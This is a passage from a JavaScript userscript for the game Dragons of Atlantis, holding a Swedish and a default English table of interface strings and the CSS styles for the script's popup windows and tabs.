						'Completing...': 'Slutför...',
						'Completion errors': 'Fel vid slutförande',
						'Config': 'Konfig',
						'Confirmation': 'Bekräfta',
						'Console Log': 'Konsol Log',
						'Console': 'Konsol',
						'Coordinates': 'Koordinater',
						'Coords': 'Kords',
						' damages taken': ' tagen skada',
						' damages to ': ' skada till ',
						'data': 'data',
						'data successfully fetched': 'data hämtades med framgång',
						'Date range': 'Datumintervall',
						' deal ': ' göra skada ',
						'Defender': 'Försvarare',
						'Defending': 'Försvarar',
						'Delay before script startup': 'Initial fördröjning innan skriptet startas',
						'Delay Between Attacks': 'Fördröjning mellan attacker',
						'Delay Between Transports': 'Fördröjning mellan transporter',
						'Delay before first secondary attack': 'Fördröjning innan första sekundära attackerar',
						'Delay before sending Primary attack': 'Fördröjning innan du skickar primära attack',
						'Delay Between Secondary Attacks': 'Delay Between Secondary Attacks',
						'delayed due to': 'försenad,',
						'delayed due to no available generals': 'försenad, generaler ej tillgängliga',
						'delayed due to no available Great Dragon': 'försenad, ingen stor drake tillgängliga',
						'delayed due to pending march request': 'försenad, begäran av avvaktande marcher',
						'Delete now': 'Radera nu',
						'Delete Battle Reports': 'Radera Strids rapporter',
						'Delete messages': 'Ta bort inlägg',
						'Delete messages of this type': 'Ta bort inlägg av denna typ',
						'Delete spy reports': 'Radera spionrapporter',
						'Detailed search': 'Detaljerad sökning',
						'Disable <B>Alliance</B> tab': 'Inaktivera <B>Allians</B>',
						'Disable <B>Battle</B> tab': 'Inaktivera <B>Strid</B>',
						'Disable <B>Bookmarks</B> tab': 'Inaktivera <B>Bokmärken</B>',
						'Disable <B>Multi</B> tab': 'Inaktivera <B>Multi</B>',
						'Disable <B>Search</B> tab': 'Inaktivera <B>Sök</B>',
						'Disable <B>Spy</B> tab': 'Inaktivera <B>Spionage</B>',
						'Disable <B>Wall</B> tab': 'Inaktivera <B>Mur</B>',
						'Disable <B>Wave</B> tab': 'Inaktivera <B>Våg</B>',
						'Disable <B>Log</B> tab': 'Inaktivera <B>Logg</B>',
						'Disabled': 'Inaktiverad',
						'Display official background image': 'Visa den officiella bakrundsbilden',
						'Dist': 'Avstånd',
						'Distance must be between': 'Avståndet måste vara mellan',
						'Distance': 'Avstånd',
						'Dragon healing': 'Drakhälsa',
						'Dragons': 'Drakar',
						'Do not show alerts obsolete since': 'visa ej äldre varningar än',
						'Do you want to save in Permanent Data the current script setting': 'Vill du spara permanent data i det aktuella skriptets inställningar',
						'Do you want to save Map Data in local file': 'Vill du spara den kartdata i den lokala filen',
						'Do you want to save Permanent Data in local file': 'Vill du spara den permanenta datan i den lokala filen',
						'Dutch': 'Holländska',
						'Dragons management' : 'Dragon förvaltning',
                        'Edit': 'Redigera',
						'Edit bookmark': 'Redigera bokmärken',
						'Enable': 'Aktivera',
						'Enable transport of ': 'Aktivera transportera ',
						'Enable use of speed-ups in attacks waves': 'Aktivera användning av hastighetsbegränsande upp attackerna',
						'Enable verbose logging': 'Aktivera detaljerad loggning',
						'Enable window drag': 'Aktivera fönsterdrag',
						'Enable the sentinel tower': 'Aktivera vakttorn',
						'Enabled': 'Aktiverad',
						'English': 'Engelska',
						'Enemy General': 'Fiende General',
						'Ennemy coordinates': 'Ennemy koordinater',
						'Ennemy name and alliance': 'Ennemy namn och alliansen',
						'Enemy research levels': 'Fiendens forsknings nivå',
						'Enter -1 as troop quantity to use the maximum available': 'Ange -1 på truppkvantitet för att använda maximalt tillgängliga',
						'Error': 'Fel',
						'Error while retrieving the list of members': 'Fel vid hämtning av medlems listan',
						'Error while setting defense choice': 'Fel medans inställning av försvar',
						'Evol': 'Förändring',
						'Except': 'Undantag',
						'Exception': 'Undantag',
						'failed': 'misslyckades',
						'failed and returned error': 'misslyckades och återkallade felet',
						'Fast search': 'Snabb sökning',
						'Features': 'Funktioner',
						'Fetching': 'Laddar',
						'Fetching Capital data': 'Laddar av största staden data',
						'Fetching Manifest': 'Laddar Manifest',
						'Fetching Outpost ': 'Laddar Utpost ',
						'Fetching Seed': 'Laddar av spelar data',
						'Fetching Translation matrix': 'Hämtar översättning',
						'Fire': 'Eld',
						'First value must be between': 'Första värdet måste ligga mellan',
						'Flash game Auto refresh every': 'Autorefresh av Flashspel varje',
						/* 'Foes' : '?????', */
						'for': 'för',
						'Force saving current script settings': 'Spara samtliga skript-inställningar',
						'Forum link': 'Forum länk',
						'French': 'Franska',
						'Game messages': 'Meddelande av spelet',
						'Game Options': 'Spelalternativ',
						'GD': 'JD',
						'Generals': 'Generaler',
						'German': 'Tyska',
						'Getting basic data...': 'Återvinning av grund data...',
						'Getting cities data...': 'Återvinning av städer data...',
						'Getting game data...': 'Återvinning av speldata...',
						'Got': 'Läst in',
						'Great dragons': 'Jätte Drakar',
						'About': 'Angående',
						'Hide spy alerts': 'Dölj spion varningar',
						'Hiding': 'Göm',
						'History': 'Historia',
						'h': 't',
						'Ice': 'Is',
						'Idle': 'Overksam',
						'In city': 'I staden',
						'In march': 'I marsh',
						' in melee': ' i närstrid',
						'in progress': 'pågår',
						'Include Great Dragon': 'Skicka en stor drake med varje attack',
						'Initialization': 'Initierar',
						'Initializing...': 'Initierar...',
						'Initializing map, auto-collect, ...': 'Initiera kartan, automatisk insamling, ...',
						'Invalid date From': 'Ogiltig datum Från',
						'Invalid date To': 'Ogiltig datum Till',
						'Invalid date range': 'Ogiltigt datumintervall',
						'Invalid delays': 'Ogiltig fördröjning',
						'Invalid number of troops': 'Inkorrekt antal av trupper',
						'Joined': 'Anslöt',
						'Keep battle reports of attacks from other players': 'Spara stridsrapporter av attacker från andra spelare',
						'Keep battle reports of my attacks on other players': 'Spara stridsrapporter av mina attacker på andra spelare',
						' (kill ': ' (Döda ',
						'Last attack': 'Senaste attack',
						'Last report': 'Senaste rapport',
						'L.I.T.': 'Automatiskt transport',
						'life lost': 'Förlorat liv',
						'Loaded': 'Laddad',
						'Loading basic data': 'Laddar grunddata',
						'Locale data was Successfully requested from the server': 'Lokal data har lyckats hämtats från servern',
						'Logs': 'Log',
						'Log': 'Log',
						'Manifest not available, using defaults': 'Manifestet är ej tillgänglig, använder standardinställningar',
						'Manifest Successfully initialized': 'Manifesto initierades framgångsrikt',
						'Manifest was Successfully requested from the server': 'Manifestet har framgångsrikt behandlats av servern',
						'Manual attack sent to': 'Manuellattack skickad till',
						'Max level': 'Nivå max',
						'Map Search': 'Kart sök',
						'Maximize resource to transport according to max load': 'Maximera resurser för transport enligt maximal last',
						'Maximum level reached': 'Maximinivån uppnådde',
						'Maximum secondary marches before sending another primary attack': 'Maximal sekundära marscher innan du skickar en annan primär attack',
						'Maximum simultaneous marches': 'Max. antal marcher',
						'Maximum training queues possible per city, according to available resources': 'Maximera köer enligt tillgängliga resurser',
						'Members list ': 'Medlemslista ',
						'Message(s) deleted': 'Meddelande(n) borttagna',
						'Message(s) deletion in progress': 'Meddelande(n) radering pågår',
						'Message alliance': 'Meddela allians',
						'Message configuration': 'Meddelande konfiguration',
						'miles': 'miles',
						'Min level': 'Nivå min',
                        ' move to ': ' flytta till ',
						'Multi': 'Flera',
						'My city/OP name where the attack is coming': 'Min stad/OP namn var attacken kommer',
						'My city/OP coordinates': 'Min stad/OP koordinater',
						'My name': 'Mitt namn',
						'Need': 'Behöver',
						'No Generals Available': 'Generaler ej tillgängliga',
						'No great dragon available': 'Ingen stor drake tillgänglig',
						'no max': 'ingen gräns',
						'No new version of': 'Ingen ny version av',
						'No resources to transport defined': 'Ej tillräckligt med resurser',
						'No Troops Defined': 'Inga trupper tagna',
						'Not ready': 'Inte redo',
						'of': 'av',
						'Only one training queue per city': 'En enda utbildning per stad',
						'Options': 'Inställningar',
						'Opts': 'Inställ',
						'Outpost 1': 'Vatten utpost',
						'Outpost 2': 'Sten utpost',
						'Outpost 3': 'Eld utpost',
						'Outpost 4': 'Vind utpost',
						'Overview': 'Översyn',
						'Owner': 'Ägare',
						'Parameters': 'Parametrar',
						'Play for': 'Spela för',
						'Play sound on incoming sentinel report': 'Spela upp ljud vid varning från Vaktposten',
						'Play sound on task completion': 'Spela ljud vid slutförande',
						'Player cities': 'Spelares Städer',
						'Player cities list': 'Förteckning av spelarstäder',
						'Player data was Successfully requested from the server': 'Spelardatan har framgångsrikt hämtats från servern',
						'Player messages': 'Meddelanden av spelare',
						'Player name': 'Spelar namn',
						'Please wait...': 'Vänligen vänta...',
						'Preset': 'Förinställd',
						'Preset name': 'Namn på försvar',
						'Primary attack to ': 'Huvudattacken till ',
						'Quest': 'Begäran',
						'Rate Limit Exceeded because there were too many requests': 'Gränsen är uppnådd på grund av för många förfrågningar',
						'Read page ': 'Läs sidan ',
						'Ready': 'Redo',
						'Recipient': 'Mottagare',
						'Refresh': 'Uppdatera',
						'Refresh applicants': 'Uppdatera sökande',
						'Refresh list': 'Uppdatera lista',
						'Refresh map data': 'Uppdatera kartdata',
						'Refresh selection': 'Uppdatera utvald',
						'Reinforcement reports': 'Förstärkning rapporter',
						'Reinforcement sent to': 'Förstärkning skickat till',
						'Reload': 'Uppdaterar DOA',
						'Repairing': 'Reparerar',
						'Repeat every': 'Upprepa varje',
						'Research Started': 'Forskning startad',
						'Researching': 'Forska',
						'Reset Stats': 'Nollställ statistik',
						'Resources stock levels update failed': 'Uppdatering av lagernivåer av resurser har misslyckades',
						'Resources to transport': 'Resurser för att skicka',
						'Restore': 'Återställ',
						'Restore script settings from local file': 'Återställ skript-inställningar från lokal fil',
						'Resurrection': 'Återupplivar',
						'Resurrect': 'Återuppliva',
						'Retry in': 'Fortsätta igen',
						'Reviving': 'Återuppliva',
						'Role': 'Roll',
						'Rules': 'Regler',
						'Run Time': 'Tidsförlopp',
						'Safe Mode': 'Felsäkert läge',
						'Save current map data in a local file': 'Spara aktuell data i lokal fil',
						'Save current script settings in a local file': 'Spara skript-inställningar i lokal fil',
						'Save preset': 'Spara förinställning',
						'Scales' : 'Fjäll', 
                        'Scan cities': 'Skanna städer',
						'Scan wilds': 'Skanna vildmarker',
						'Scanning map': 'Skannar kartan endast efter städer',
						'Scanning map for cities/wildernesses': 'Skanna kartan efter städer/vildmarker',
						'Scanning map for wildernesses': 'Skannar kartan endast efter vildmarker',
						'Script language': 'Skript språk',
						'Script Options': 'Script alternativ',
						'Search coords': 'Sök kords',
						'Search for alliance list': 'Leta efter allians listan',
						'Search for alliance members': 'Sök efter allians medlemmar',
						'Search max radius': 'Sök max. avstånd',
						'Search Radius': 'Sök avstånd',
						'Second value must be at least': 'Andra värdet måste vara minst',
						'Seconds': 'Sekunder',
						'seconds': 'sekunder',
						'Secondary attack to ': 'Påföljande attacken till ',
						'Seed Successfully initialized': 'Spelare data initieras framgångsrikt',
						'Select at least one type of message or report to delete': 'Välj minst en typ av meddelande eller rapport ta bort',
						'Send reinforcement': 'Skicka förstärkning',
						'Send transport': 'Skicka transporter',
						'Sending reinforcement': 'Skickar förstärkning',
						'Sending transport': 'Skickar transporter',
						'Sentinel messages': 'Varningar från Vaktposten',
						'Sentinel tower': 'Vaktposttorn',
						'Set Def': 'Ange Frs',
						'Single attack': 'Single anfall',
						'Souls': 'Själar',
						'Sound configuration': 'Ljudinställning',
						'Sound file': 'Ljudfil',
						'Spanish': 'Spanska',
						'Spectral': 'Spöklik',
						'SpectralDragonKeep': 'Spöklik Drakaltare',
						'Spies done': 'Spion klar',
						'Spies number': 'Antal spioner',
						'Spy One Target': 'Speja av 1 mål',
						'Spy reports': 'Spion rapporter',
						'Spy to ': 'Spion skickad till ',
						'Stars': 'Stjärnor',
						'Start': 'Start',
						'Start Date': 'Startdatum',
						'Starting...': 'Starta...',
						'Step': 'Steg',
						'Stone': 'Sten',
						'Stop if any troops lost': 'Avbryt vågor vid truppförlust',
						'succeeded': 'lyckades',
						'Successfully initialized': 'Framgångsrikt initierats',
						'Successfully': 'Framgångsrikt',
						'Summary': 'Sammandrag',
						' survivals)': ' överlevande)',
						/* 'Swamp' : '?????', */
						'Swedish': 'Svenska',
						'switchDefense OK': 'Försvars ändring OK',
						'Switch defense wall status': 'Ändra försvar på mur',
						'Switching defense': 'Ändrar försvar',
						'Tabs Options': 'Flikar alternativ',
						'Target': 'Mål',
						'Targets': 'Målen',
						'Task Completed': 'Utförd uppgift',
						'Tasks': 'Uppgifter',
						'Terrain length set to ': 'Terräng avstånd inställd på ',
						/*
						 * 'This should not clear map and alliance data.' :
						 * '?????.',
						 */
						'Time': 'Tid',
						'to': 'till',
						'To be refreshed': 'Att uppdatera',
						'Toggle Flash': 'Förnya Flash',
						'Tower': 'Torn',
						'Tower configuration': 'Konfigurera Vakttorn',
						'Training Configuration': 'Konfig av autoträning',
						'Translation Matrix Successfully initialized': 'Översättning Matrix initierades framgångsrikt',
						'Transport reports': 'Transport rapporter',
						'Transport sent to': 'Transport skickat till',
						'Troops Capped': 'Capped trupper',
						'Troops for Bookmarks Attack': 'Trupper för bokmärkta attacker',
						'Troops for defense': 'Trupper för försvar',
						'Troops for Primary Attack': 'Trupper I Huvudanfallet',
						'Troops for reinforcement': 'Trupper för förstärkning',
						'Troops for Secondary Attacks': 'Trupper I påföljande anfallsvågor',
						'Troops for transport': 'Trupper för transport',
						'Troops for Wave Attack': 'Trupper för vågattacker',
						'Troops lost': 'Trupper förlorade',
						'Troops max': 'Max. trupper',
						'Troops statistics': 'Statistik trupper',
						'Troops statistics for': 'Statistik för',
						'Turned Off': 'Avstängd',
                        'Update' : 'Uppdatering',
						'Unlimited': 'Obegränsat',
						'Unowned only': 'Bara lediga',
						'Updating City values': 'Uppdatera data av stadens',
						'Use the Levels Tab to select attack areas': 'Använd fliken "Nivåer" för att välja mål',
						'Version update': 'Uppdatering version',
						'Wall management': 'Hantera mur',
						'Warning': 'Varning',
						'was returned with a status of': 'returnerades med status',
						'Water': 'Vatten',
						'Wave attack to ': 'Vågor skickade till ',
						'Wave': 'Vågor',
						'Wiki URL': 'Wiki URL',
						'Wildernesses list': 'Vildmarks lista',
						'Wind': 'Vind',
						'Without alliance': 'Allianslös',
						'You are': 'Du är',
						'Yoyo': 'Yoyo',
						'Yoyo functionality': 'Yoyo funktionalitet',
						'ATrans': 'AT',
						/* abbr Armored Transport */ 'Banshee': 'Banshee',
						/* abbr Wind Troop - Banshee */ 'BatDrg': 'BD',
						/* abbr Battle Dragon */ 'Conscr': 'Bärare',
						/* abbr Conscript */ 'Fang': 'Fisk',
						/* abbr Aqua Troop */
						/* 'FGiant' : '?????', */
						/* abbr Frost giant */
						'FireDrg': 'Eld drake',
						/* abbr Fire Dragon */ 'FireM': 'FM',
						/* abbr Fire Mirror */ 'GrtDrg': 'JätteDrg',
						/* abbr Great Dragon */ 'Halbrd': 'Halbrd',
						/* abbr Halberdsman */ 'IceDrg': 'FrostDrg',
						/* abbr Ice Dragon */ 'LBM': 'LBM',
						/* abbr Longbowman */ 'LCannon': 'LCannon',
						/* abbr Lightning Cannon */ 'Magma': 'Lava',
						/* abbr Fire Troop - Magmasaurus */ 'Mino': 'Mino',
						/* abbr Minotaur */ 'Ogre': 'Troll',
						/* abbr Stone Troop - Ogre */ 'PackDrg': 'PckDrg',
						/* abbr Pack dragons */ 'SpctDrg': 'SpökDrag',
						/* abbr Spectral Dragon */ 'SReaper': 'Själskördare',
						/* abbr Ice Troop - SoulReaper */ 'SSDrg': 'SSD',
						/* abbr Swift Strike Dragon */ 'StnDrg': 'DrgSten',
						/* abbr Stone Dragon */ 'SwpDrg': 'TräskDrk',
						/* abbr Swamp Dragon */ 'Venom': 'Giftväktare',
						/* abbr Swamp Troop - Venom */ 'WatDrg': 'DrgVatten',
						/* abbr Water Dragon */ 'WndDrg': 'Vind drake',
						/* abbr Wind Dragon */ 'Harrier': 'Harrier',
						/* abbr Steelshard Harrier */
						/* Missing Kabam translations */
						'FireDragon': 'Elddrakar',
						'WindDragon': 'Vinddrakar',
						'ajax-req-versions': 'Getting current API version',
						'ajax-req-locales': 'Loading translation matrix',
						'ajax-req-cookie': 'Set a cookie for sound setup',
						'ajax-req-manifest': 'Loading manifest',
						'ajax-req-player': 'Player data',
						'ajax-req-cities': 'City data',
						'ajax-req-jobs': 'Getting all jobs list',
						'ajax-req-dragons': 'Getting dragons data',
						'ajax-req-alliances': 'Retrieving Alliances Top 100',
						'ajax-req-membership': 'Retrieving Alliance membership',
						'ajax-req-activity': 'Retrieving Alliance activity',
						'ajax-req-map': 'Map data',
						'ajax-req-tile_at': 'Map data for one tile',
						'ajax-req-building': 'Lauching one building',
						'ajax-req-research': 'Lauching one research',
						'ajax-req-training': 'Lauching one training',
						'ajax-req-resurrect': 'Lauching one resurrection',
						'ajax-req-canceljob': 'Cancelling one job',
						'ajax-req-marches': 'Lauching one march',
						'ajax-req-cancelmarch': 'Cancelling/recalling one march',
						'ajax-req-reports': 'Message list',
						'ajax-req-reports_del': 'Deleting one message',
						'ajax-req-reports_read': 'Reading one message',
						'ajax-req-message': 'Sending one message',
						'ajax-req-minigame': 'Getting fortuna prizes list',
						'ajax-req-save_minigame': 'Playing one fortuna\'s grid',
						'ajax-req-leaderboards': 'Getting leaderbords data',
						'ajax-req-collect': 'Collecting resources from one outpost',
						'ajax-req-claim': 'Claiming one quest',
						'ajax-req-defended': 'Setting in defense / in sanctuary',
						'ajax-req-defense': 'Choice of Defense forces',
						'ajax-req-items': 'Using one item (speedups)',
						'ajax-req-breeding': 'Dragons breeding',
						'ajax-req-feeding': 'Dragons feeding',
						'ajax-req-dragonHandle': 'Dismiss/Remove/Equip one dragon',
						'Zzz': 'Zzz'
					};
					break;
				default:
					TRANSLATION_ARRAY = {
						'FireDragon': 'Fire Dragon',
						'WindDragon': 'Wind Dragon',
						'Outpost 1': 'Water dragon outpost',
						'Outpost 2': 'Stone dragon outpost',
						'Outpost 3': 'Fire dragon outpost',
						'Outpost 4': 'Wind dragon outpost',
						'ajax-req-versions': 'Getting current API version',
						'ajax-req-locales': 'Loading translation matrix',
						'ajax-req-cookie': 'Set a cookie for sound setup',
						'ajax-req-manifest': 'Loading manifest',
						'ajax-req-player': 'Player data',
						'ajax-req-cities': 'City data',
						'ajax-req-jobs': 'Getting all jobs list',
						'ajax-req-dragons': 'Getting dragons data',
						'ajax-req-alliances': 'Retrieving Alliances Top 100',
						'ajax-req-membership': 'Retrieving Alliance membership',
						'ajax-req-activity': 'Retrieving Alliance activity',
						'ajax-req-map': 'Map data',
						'ajax-req-tile_at': 'Map data for one tile',
						'ajax-req-building': 'Lauching one building',
						'ajax-req-research': 'Lauching one research',
						'ajax-req-training': 'Lauching one training',
						'ajax-req-resurrect': 'Lauching one resurrection',
						'ajax-req-canceljob': 'Cancelling one job',
						'ajax-req-marches': 'Lauching one march',
						'ajax-req-cancelmarch': 'Cancelling/recalling one march',
						'ajax-req-reports': 'Message list',
						'ajax-req-reports_del': 'Deleting one message',
						'ajax-req-reports_read': 'Reading one message',
						'ajax-req-message': 'Sending one message',
						'ajax-req-minigame': 'Getting fortuna prizes list',
						'ajax-req-save_minigame': 'Playing one fortuna\'s grid',
						'ajax-req-leaderboards': 'Getting leaderbords data',
						'ajax-req-collect': 'Collecting resources from one outpost',
						'ajax-req-claim': 'Claiming one quest',
						'ajax-req-defended': 'Setting in defense / in sanctuary',
						'ajax-req-defense': 'Choice of Defense forces',
						'ajax-req-items': 'Using one item (speedups)',
						'ajax-req-breeding': 'Dragons breeding',
						'ajax-req-feeding': 'Dragons feeding',
						'ajax-req-dragonHandle': 'Dismiss/Remove/Equip one dragon',
						'Zzz': 'Zzz'
					};
			}
		}

		function setMainStyles() {
			var css = '\
	.jewel {\
		padding : 1px;\
		font-size: 7pt !important;\
		color: #666 !important;\
	}\
	.progress_on {\
		height:12px;\
		width:2px;\
		background-color: rgb(0,125,189);\
		background-image: linear-gradient(bottom, rgba(0,0,0,0.1) 10%, rgba(255,255,255,0.3) 60%, rgba(255,255,255,0.5) 99%);\
		background-image: -moz-linear-gradient(bottom, rgba(0,0,0,0.1) 10%, rgba(255,255,255,0.3) 60%, rgba(255,255,255,0.5) 99%);\
		background-image: -webkit-linear-gradient(bottom, rgba(0,0,0,0.1) 10%, rgba(255,255,255,0.3) 60%, rgba(255,255,255,0.5) 99%);\
	}\
	.progress_off {\
		height:12px;\
		width:2px;\
		background-color:rgb(255,255,255);\
	}\
	.progress_bar {\
		border: 1px solid #333;\
		border-radius: 3px;\
		-moz-border-radius: 3px;\
		-webkit-box-shadow: rgba(0,0,0,0.52) 1px 1px 1px;\
		-moz-box-shadow: rgba(0,0,0,0.52) 1px 1px 1px;\
	}\
	.' + UID['popup_outer'] + ' {\
		border: 1px solid #777;\
		padding-left:3px;\
		padding-right:3px;\
		padding-bottom:3px;\
		border-radius: 5px;\
		-moz-border-radius: 5px;\
		-webkit-box-shadow: rgba(0,0,0,0.52) 0 0 5px;\
		-moz-box-shadow: rgba(0,0,0,0.52) 0 0 5px;\
	}\
	.' + UID['popup_close'] + ' {\
		position: absolute;\
		display:block;\
		right:-1px;\
		margin-top:-1px;\
		width:20px;\
		height:18px;\
		text-align:center;\
		color:#fff;\
		background-color:#555;\
		font-weight:bold;\
		font-size:12px !important;\
		padding:1px;\
		border: 1px solid #666;\
		border-radius: 5px;\
		-moz-border-radius: 5px;\
		cursor: pointer;\
	}\
	.' + UID['popup_close'] + ':hover {\
		background-color:#922;\
		background-image: linear-gradient(bottom, rgba(0,0,0,0.1) 10%, rgba(255,255,255,0.3) 60%, rgba(255,255,255,0.6) 99%);\
		background-image: -moz-linear-gradient(bottom, rgba(0,0,0,0.1) 10%, rgba(255,255,255,0.3) 60%, rgba(255,255,255,0.6) 99%);\
		background-image: -webkit-linear-gradient(bottom, rgba(0,0,0,0.1) 10%, rgba(255,255,255,0.3) 60%, rgba(255,255,255,0.6) 99%);\
	}\
	.' + UID['popup_bar'] + ':hover {\
		cursor: move;\
	}\
	#' + UID['main_outer'] + ' {\
		background-color: rgb(255,255,255);\
	}\
	#' + UID['main_outer'] + ' * {\
		font-size:8pt;\
		font-family:helvetica,"lucida grande",tahoma,verdana,arial,sans-serif;\
	}\
	#' + UID['main_outer'] + ' div.container {\
		background-color:rgb(245,245,228);\
		height:100%;\
		width:100%;\
		overflow-x: auto;\
	}\
	.confirm_button {\
		width:60px;\
		padding-top:1px;\
		padding-bottom:1px;\
		color:white;\
		font-weight:bold;\
		border: 1px solid #333;\
		border-radius: 3px;\
		-moz-border-radius: 3px;\
		background-image: linear-gradient(bottom, rgba(0,0,0,0.1) 10%, rgba(255,255,255,0.3) 60%, rgba(255,255,255,0.5) 99%);\
		background-image: -moz-linear-gradient(bottom, rgba(0,0,0,0.1) 10%, rgba(255,255,255,0.3) 60%, rgba(255,255,255,0.5) 99%);\
		background-image: -webkit-linear-gradient(bottom, rgba(0,0,0,0.1) 10%, rgba(255,255,255,0.3) 60%, rgba(255,255,255,0.5) 99%);\
		-webkit-box-shadow: rgba(0,0,0,0.52) 1px 1px 1px;\
		-moz-box-shadow: rgba(0,0,0,0.52) 1px 1px 1px;\
		cursor:hand;\
		cursor:pointer;\
		background-color: rgb(0,94,189);\
	}\
	.confirm_button:hover {\
		background-color: rgb(0,125,150);\
	}\
	div.' + UID['title'] + ' {\
		border:1px solid;\
		border-color:#ffffff;\
		font-weight:bold;\
		padding-top:2px;\
		padding-bottom:2px;\
		text-align:center;\
		color:#ffffff;\
		background-color:rgb(60,90,150);\
		background-image:url(\'' + urlBackgroundLogo + '\');\
		border-radius: 2px;\
		-moz-border-radus: 2px;\
	}\
	.' + UID['title'] + ' * {\
		display:inline-block !important;\
		font-style: normal !important;\
		text-decoration: none !important;\
		font-weight:bold;\
		color:#ffffff;\
		font-size: 10pt !important;\
		line-height: 10pt !important;\
		padding: 0;\
		text-shadow			: 1px 1px rgba(0,0,0,0.6) !important;\
		-moz-text-shadow	: 1px 1px rgba(0,0,0,0.6) !important;\
		-webkit-text-shadow	: 1px 1px rgba(0,0,0,0.6) !important;\
		-khtml-text-shadow	: 1px 1px rgba(0,0,0,0.6) !important;\
	}\
	';
			addStyle(css);
		}

		function setStyles() {
			var css = '\
	.jewel {\
		padding : 1px;\
		font-size: 7pt !important;\
		color: #666 !important;\
	}\
	.bluejwl {\
		padding : 1px;\
		font-size: 7pt !important;\
		color: #2B4988 !important;\
	}\
	.wrap {\
		white-space: normal !important;\
	}\
	div.short {\
		color: #000;\
		height:7px;\
	}\
	.emptyline {\
		height:3px;\
	}\
	.progress_on {\
		height:12px;\
		width:2px;\
		background-color: rgb(0,125,189);\
		background-image: linear-gradient(bottom, rgba(0,0,0,0.1) 10%, rgba(255,255,255,0.3) 60%, rgba(255,255,255,0.5) 99%);\
		background-image: -moz-linear-gradient(bottom, rgba(0,0,0,0.1) 10%, rgba(255,255,255,0.3) 60%, rgba(255,255,255,0.5) 99%);\
		background-image: -webkit-linear-gradient(bottom, rgba(0,0,0,0.1) 10%, rgba(255,255,255,0.3) 60%, rgba(255,255,255,0.5) 99%);\
	}\
	.progress_off {\
		height:12px;\
		width:2px;\
		background-color:rgb(255,255,255);\
	}\
	.progress_bar {\
		border: 1px solid #333;\
		border-radius: 3px;\
		-moz-border-radius: 3px;\
		-webkit-box-shadow: rgba(0,0,0,0.52) 1px 1px 1px;\
		-moz-box-shadow: rgba(0,0,0,0.52) 1px 1px 1px;\
	}\
	.' + UID['hiding'] + ' {\
		background-color: rgb(0,160,110);\
		color: white;\
		padding-left: 10px;\
		padding-right: 10px;\
		margin-right: -2px;\
		border-radius: 2px;\
		-moz-border-radius: 2px;\
		-webkit-box-shadow: rgba(0,0,0,0.52) 0 0 2px;\
		-moz-box-shadow: rgba(0,0,0,0.52) 0 0 2px;\
	}\
	.' + UID['defending'] + ' {\
		background-color: rgb(184,0,46);\
		color: white;\
		padding-left: 10px;\
		padding-right: 10px;\
		margin-right: -2px;\
		border-radius: 2px;\
		-moz-border-radius: 2px;\
		-webkit-box-shadow: rgba(0,0,0,0.52) 0 0 2px;\
		-moz-box-shadow: rgba(0,0,0,0.52) 0 0 2px;\
	}\
	.' + UID['scrollable'] + ' {\
		overflow: auto !important;\
	}\
	.' + UID['popup_outer'] + ' {\
		border: 1px solid #777;\
		padding-left:3px;\
		padding-right:3px;\
		padding-bottom:3px;\
		border-radius: 5px;\
		-moz-border-radius: 5px;\
		-webkit-box-shadow: rgba(0,0,0,0.52) 0 0 5px;\
		-moz-box-shadow: rgba(0,0,0,0.52) 0 0 5px;\
	}\
	.' + UID['popup_close'] + ' {\
		position: absolute;\
		display:block;\
		right:-1px;\
		margin-top:-1px;\
		width:20px;\
		height:18px;\
		text-align:center;\
		color:#fff;\
		background-color:#555;\
		font-weight:bold;\
		font-size:12px !important;\
		padding:1px;\
		border: 1px solid #666;\
		border-radius: 5px;\
		-moz-border-radius: 5px;\
		cursor: pointer;\
	}\
	.' + UID['popup_close'] + ':hover {\
		background-color:#922;\
		background-image: linear-gradient(bottom, rgba(0,0,0,0.1) 10%, rgba(255,255,255,0.3) 60%, rgba(255,255,255,0.6) 99%);\
		background-image: -moz-linear-gradient(bottom, rgba(0,0,0,0.1) 10%, rgba(255,255,255,0.3) 60%, rgba(255,255,255,0.6) 99%);\
		background-image: -webkit-linear-gradient(bottom, rgba(0,0,0,0.1) 10%, rgba(255,255,255,0.3) 60%, rgba(255,255,255,0.6) 99%);\
	}\
	.' + UID['popup_bar'] + ':hover {\
		cursor: move;\
	}\
	#' + UID['main_outer'] + ' {\
		background-color: rgb(255,255,255);\
	}\
	#' + UID['main_outer'] + ' * {\
		font-size:8pt;\
		font-family:helvetica,"lucida grande",tahoma,verdana,arial,sans-serif;\
	}\
	#' + UID['main_outer'] + ' ul.tabs {\
		overflow: hidden;\
		display: block;\
		border-bottom: 1px solid #898989;\
		height: 26px;\
		list-style: none;\
		margin: 0;\
		padding: 0;\
		font-size: 10px;\
	}\
	#' + UID['main_outer'] + ' ul.line2 {\
		height: 20px;\
	}\
	#' + UID['main_outer'] + ' ul.tabs li.tab {\
		display: inline-block;\
		float: left;\
		cursor:pointer !important;\
	}\
	#' + UID['main_outer'] + ' ul.tabs li.tab a {\
		background-color: rgb(235,238,245);\
		border-bottom-width: 1px;\
		border: 1px solid #898989;\
		border-left-width: 0;\
		color: #333;\
		font-weight: bold;\
		display: block;\
		height: 16px;\
		margin-top: 6px;\
		padding: 2px 9px 3px 8px;\
		position: relative;\
		text-decoration: none;\
		cursor:pointer;\
	}\
	#' + UID['main_outer'] + ' ul.tabs li.line1 a {\
		padding: 2px 9px 0px 8px;\
	}\
	#' + UID['main_outer'] + ' ul.tabs li.line2 a {\
		height: 16px;\
		margin-top: 0px;\
	}\
	#' + UID['main_outer'] + ' ul.tabs li.first a {\
		border-left-width: 1px;\
	}\
	#' + UID['main_outer'] + ' ul.tabs li.tab a.selected {\
		background-color: rgb(60,90,150);\
		border-top-color: #3B5998;\
		border-bottom-color: #3B5998;\
		border-left-color: #5973A9;\
		border-right-color: #5973A9;\
		color: white;\
		-webkit-box-shadow: rgba(0,0,0,0.6) 1px 0px 1px;\
		-moz-box-shadow: rgba(0,0,0,0.6) 1px 0px 1px;\
		background-image: linear-gradient(bottom, rgba(0,0,0,0) 12%, rgba(255,255,255,0.3) 90%, rgba(255,255,255,0.9) 99%);\
		background-image: -moz-linear-gradient(bottom, rgba(0,0,0,0) 12%, rgba(255,255,255,0.3) 90%, rgba(255,255,255,0.9) 99%);\
		background-image: -webkit-linear-gradient(bottom, rgba(0,0,0,0) 12%, rgba(255,255,255,0.3) 90%, rgba(255,255,255,0.9) 99%);\
	}\
	#' + UID['main_outer'] + ' div.container {\
		height: 100%;\
		width: 100%;\
		overflow-x: auto;\
	}\
	#' + UID['main_outer'] + ' div.container ul.tabs li.tab a {\
		height: 13px;\
		background-color: rgb(241,241,241);\
	}\
